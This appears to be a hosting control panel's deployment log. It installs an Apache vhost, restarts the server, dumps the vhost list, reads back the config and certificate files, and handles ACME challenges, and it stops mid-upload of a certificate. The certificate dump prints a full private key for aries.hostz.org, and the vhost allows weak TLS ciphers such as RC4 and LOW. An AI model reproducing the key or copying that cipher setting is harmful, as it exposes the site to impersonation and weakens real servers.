----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2025-09-27 06:00:16: 

PUT: /tmp/pkp461822

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi


2025-09-27 06:00:16: 

chmod 755 /tmp/pkp461822; /tmp/pkp461822; rm /tmp/pkp461822

2025-09-27 06:00:16: 




2025-09-27 06:00:16: 

PUT: /tmp/pkp793071

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-27 06:00:16: 

chmod 755 /tmp/pkp793071; /tmp/pkp793071; rm /tmp/pkp793071

2025-09-27 06:00:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:17: Establishing a connection
2025-09-27 06:00:17: 

PUT: /tmp/pkp795449

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-27 06:00:17: 

chmod 755 /tmp/pkp795449; /tmp/pkp795449; rm /tmp/pkp795449

2025-09-27 06:00:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:00:17: 

PUT: /tmp/pkp470893

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:17: 

chmod 755 /tmp/pkp470893; /tmp/pkp470893; rm /tmp/pkp470893

2025-09-27 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf	1872

<VirtualHost *:80>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/aries_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	aries.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
    DocumentRoot	/var/www/hostz_aries
    <Directory /var/www/hostz_aries>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_aries/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/aries_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/aries_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-09-27 06:00:17: 

PUT: /tmp/pkp720649

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:00:17: 

chmod 755 /tmp/pkp720649; /tmp/pkp720649; rm /tmp/pkp720649

2025-09-27 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt	5345
e2:4f:b0:75:e3:47:c0:0e:96:1b:93:2c:32:73:f2:c6

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBXQH+CCrO9MfvRmAccrlBapgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTQ1WhcNMjUxMjI2MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCuetEvS0MqAPSXTpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+
ira8lrbCg7do0yKrY2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMq
Epg0R1wh/Nt5jW5Lor4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGd
VLqEGJhd0UYg5hp/ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1
t+JGVhWmmUlY83vj/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIwe
qQuSdfd5sQRSsh2sgN6AA0OzAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLup8KZWCqilywcJT3fRoei+Y/pJMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvOTcuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZicH8hQAABAMARzBFAiEA
2ElXJTvIDWpsqJT4PyzhxYSXhuj6FzSEYUlHzN901YgCIDkebmXyJB412U859iKE
dc6Rv9l0YWBXjcckXeRM3THgAHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYK
LKy7yCoAAAGZicH8zwAABAMARzBFAiEA7jVdGgEhxcK9Gg0WoOJZ2E82VrULE0nm
ai6otFQ52WsCIA3ma3X0KGv19rs3rD0M8N4UUOWW8bZu9YtI41NVJsSUMA0GCSqG
SIb3DQEBCwUAA4IBAQCeI7gWzu3fn7v5Z+Hm1C0zaeghuLiVNTX4sdIsDUqPMecD
CGhkWaEmHWGJjqbWw4d9NNb0UmoLYOXkH08X7cUjKFZm7ZLaOPGr7E9d2R+kCgkC
kIJzOF0tLYUyLdgsy+u+VclcPnSsk1GvaUuzYJCtPjiCOAiJi6qLcllctT34/VE3
g/icf+IHZHB3PAOBrYTCGV+ToviptNmeJD+yb6ZOuQ5eqNmFiKaZkIcU4ERNIpiP
JZG6DWejGvMIj50KlWGFxVshbuahltc71G79wLFEHGo35Et+FLbdrnk+GMJ5GVbp
sb7MFz7QToAoHU3IPmrJucjRTq9Y3mLAB7fft/aV
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuetEvS0MqAPSX
TpXqG7RjMWeFpY34OrKD74k8Ny7Lga1zmOAGYvVpiscstgw+ira8lrbCg7do0yKr
Y2Dq7oOWycUxDVsriJmJ/QaYL6cGCfqy0JlCGVbIBS436CMqEpg0R1wh/Nt5jW5L
or4A6tLstXHW514dTZavlsKk3orgDYJk2cO9jNrEvSpy0QGdVLqEGJhd0UYg5hp/
ZS/fAvSxoGr8RR/yXcS2/SJYhPNdZ4QzwbQDp3UGjdA/PMI1t+JGVhWmmUlY83vj
/rm1y9Z6m7mfrQOwPByuHPjIOTfYBFQo58Pvh6WqXH+yOIweqQuSdfd5sQRSsh2s
gN6AA0OzAgMBAAECggEBAJbBg9ErZIL8hFngCuRWv8wdOedeHobmoKwi4h7nR0WL
bIU/CAI8qvNgd6wIOBgp3q6gQpVbHbQzCfewTGNxZr145Sr28VlyE8gImhQQyG4N
XVH3rxRPtI3q+/5OU2Pc4Sn6pn6vbiteqngry6QbQdhJBm27R7Rl/9cDmna92pyv
YN7dxjP324GuGtGjAhLBx1ABvWJJTg+5tbERJEoAcDFXD9md5VpWBMeau1yX8BNs
K5ViwYfCmzm39oJf7zp/Nd+zBEpX4TZxRZ0VPGLtSn28HG0V1p0XqytSe38wCduD
v8/Xq9sLg52mjuLBN3Ug7kRu7IwQapvOdDviLFAP6DECgYEA5t3lwXURd436hP4r
1wIU8fj6+DCRaIyuOt69L2gr0g87WpDKgTYLRv32yMc7tfsVvGcCoZ0WueI+VBIJ
CcxTB4QYGPx4Zx8Nvcw8zdPAwgua7srGgN29gMibQiNxBHi3aZx9oM5LSfX+WMte
MSWMvrxPQZYrMZY6wLCi/qTUbEUCgYEAwXlza79mNHzxxRNwELrcIjGUSKSkonfa
74mfgWUWi2AYQgLNrGowhB3zjoKdTFeRUlJo1hSgyzd285AQGPeJsGcmtFVMNHNf
tPfRbjOTEiQynJ9qxozO6royuIH9yV5REcYKS7JzHL3J3UJyHJeeyzwHVMHo+zu7
zN/YKL2tu5cCgYB/dxRbc59pOuKOeycJVwTpdGZckbQ23TV1G3WorwNCv1Yt8rNc
E9K2J5IR2K6HE1I060rwoCLkDp4LHMoQttdA1xXW9c4kYWjc2d7YZYmPmYi5PwvK
KqNub1QJeDf2GBBsJxLVrhCzjTYZIG+pAupqhN3dgGPoxOE7cksL/UWrYQKBgQCR
3wQLBPAGOv3+XL1tn7VBgqgObTRD2qITYGwGnzT0OKuReZOgnx+dPQfZNtlqKcvD
iabJYhwpm9Pvp3q7mEcT3XHtHTKriSFrzDz3HaORVgFi3T8gHCIWD/UV78xs+tOc
1vgEQrNPxDhivipTLG3pRYUxflIuucbKnSrY7MoEWQKBgCi5R+qy5V/Tko1Gh0TA
lpciOw7Fv96G10Qjn3TSMxFKpKt2OhSLczlQBObO9Pi/w93OlAzuGYz9mnM99x7F
tiXwycwEGKfqKZ6u3xEbk2i3ZzRmJstKyGyZCla5HwRGzJO6co/xd7eM5Ktvh5ea
GX3DIQ3xFpkjrgdJTL8i15JU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-27 06:00:17: Establishing a connection
2025-09-27 06:00:18: Establishing a connection
2025-09-27 06:00:18: 

PUT: /tmp/pkp543316

#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-27 06:00:18: 

chmod 755 /tmp/pkp543316; /tmp/pkp543316; rm /tmp/pkp543316

2025-09-27 06:00:18: 


1


2025-09-27 06:00:19: Establishing a connection
2025-09-27 06:00:19: 

PUT: /tmp/pkp870701

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE
cat > 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY


2025-09-27 06:00:19: 

chmod 755 /tmp/pkp870701; /tmp/pkp870701; rm /tmp/pkp870701

2025-09-27 06:00:19: 




2025-09-27 06:00:30: Establishing a connection
2025-09-27 06:00:30: 

PUT: /tmp/pkp104613

#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm TS71Yp2yZP7xRqlUSljTg9prUPJc5f9yAmwBmQlC1IE
rm 0xrrJg3ugRcbYWIzRJAr5c5Kl8SPsbVWOUq_U4nsmAY


2025-09-27 06:00:30: 

chmod 755 /tmp/pkp104613; /tmp/pkp104613; rm /tmp/pkp104613

2025-09-27 06:00:30: 




2025-09-27 06:00:30: Establishing a connection
2025-09-27 06:00:31: 

PUT: /tmp/pkp589957

#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt

cat > $temp_file <<'endmsg'
6d:5c:29:3d:bc:3e:56:3a:b7:b5:92:d9:32:ab:af:64

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBZsc6FruU3ETm+Z+mxaCwRl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTU5WhcNMjUxMjI2MDUwMTU4WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALwynjJJjyFbWndtrJrPReEP8w3QktZqyQeRZaAik+uVogRv64bJPMR/eefiSZin
FH2Rqhed+8r1pZ1GHJEuRocdH/tSaU57+LbKO6hiHfAG58KVVGSgapnUjmWSvldD
dI1jyWCYQ/oVVCn2W63yzaUJFThuFvQVSkMDySDDuBKBCXp4TArVpirRbjHhFdC7
OjKIort8nKuDi7Y5xGbpOU6pe+367WgAWtJL+e+XAGE4uUudPmOzQK7LBWOAGlPD
4NJ+6wow1Ov55qaf/SD4jnVG7hCEzkDryNTt7/JJIf4r7NNuSW8UIg9MwxmTM0Ht
EX2aFN0W9/RW3GTaT/IV1IECAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
